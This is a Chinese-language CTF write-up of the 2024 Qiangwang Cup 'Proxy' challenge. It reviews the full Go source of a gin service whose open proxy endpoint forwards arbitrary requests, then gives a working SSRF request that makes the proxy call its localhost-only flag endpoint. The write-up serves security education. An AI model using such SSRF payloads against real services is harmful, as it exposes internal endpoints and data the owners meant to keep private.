2024强网杯Proxy

代码审计

首先分析go语言代码

go 复制代码
package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

分析代码,这个代码使用的是gin框架,

核心代码

这个题目的和核心代码就是下面这些。

go 复制代码
type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

首先是定义了一段结构体,这段结构体定义了代理请求的格式,也就是说我们需要传入参数的格式与内容。

然后就是API路由

go 复制代码
	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

创建一个/v1路由组,并添加POST请求的api/flag路由

这个路由的作用就是执行readflag命令,得到flag

然后就是v2路由

go 复制代码
	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

创建v2路由组,并添加一个POST的请求/api/proxy路由

这个路由接收我们刚才定义的结构体中的数据

go 复制代码
			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

这段代码就是创建一个自定义的http客户端,并设置重定向规则,如果请求不是绝对url,就阻止重定向。

go 复制代码
			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

根据ProxyRequest中的参数创建一个新的HTTP请求

并将请求头设置为来自请求的头信息

发送请求并获取响应

go 复制代码
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

这段代码主要作用就是处理响应的错误,以及读取响应体内容和返回状态码与头信息。

构造payload

然后就可以根据代码来构造请求了

复制代码
POST /v2/api/proxy HTTP/1.1
Host: 8.147.129.74:26637
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

{
  "url": "http://127.0.0.1:8769/v1/api/flag",
  "method": "POST",
  "body": "null",
  "headers": {
    "Authorization": "null"
  },
  "follow_redirects": true
}

发包,得到flag。

相关推荐
迪康Defender21 分钟前
迪康端点安全一体化管理系统文档安全:构建企业文档资产全链路防护体系
运维·网络·安全·web安全·终端安全管理
AI备忘录30 分钟前
(十九)华为华三锐捷迈普思科 交换机链路聚合配置命令(LACP/静态聚合五厂商对照)
运维·服务器·网络·网络协议·tcp/ip·华为
raindayinrain35 分钟前
理解网络--Tcp性能优化
网络·tcp/ip·性能优化
aprilaaaaa43 分钟前
(TC397 学习笔记)二、ICU和TIM的时钟计算
笔记·学习·fpga开发
啊阿狸不会拉杆1 小时前
《计算机网络-自顶向下方法》4.4 泛化转发和SDN 读书笔记
网络·计算机网络·智能路由器
yonlingxu1 小时前
创客匠人深度陪跑案例:盘活存量 IP,解锁婚恋知识赛道第二增长曲线
网络·网络协议·tcp/ip
Java小白笔记1 小时前
Java 实现 ZIP 压缩包生成方案
java·开发语言·网络·7-zip
anxiao_m1 小时前
数据安全合规时代,企业跨网文件传输该如何落地
网络
库玛西2 小时前
深入浅出Linux select网络模型:从底层位图原理到C++面向对象高级封装
linux·服务器·网络·c++·ubuntu
xian_wwq2 小时前
【学习笔记】-深度认知系列-第8讲主流AI模型横向评测——GPT、Claude、Gemini、盘古、文心、通义
人工智能·笔记·学习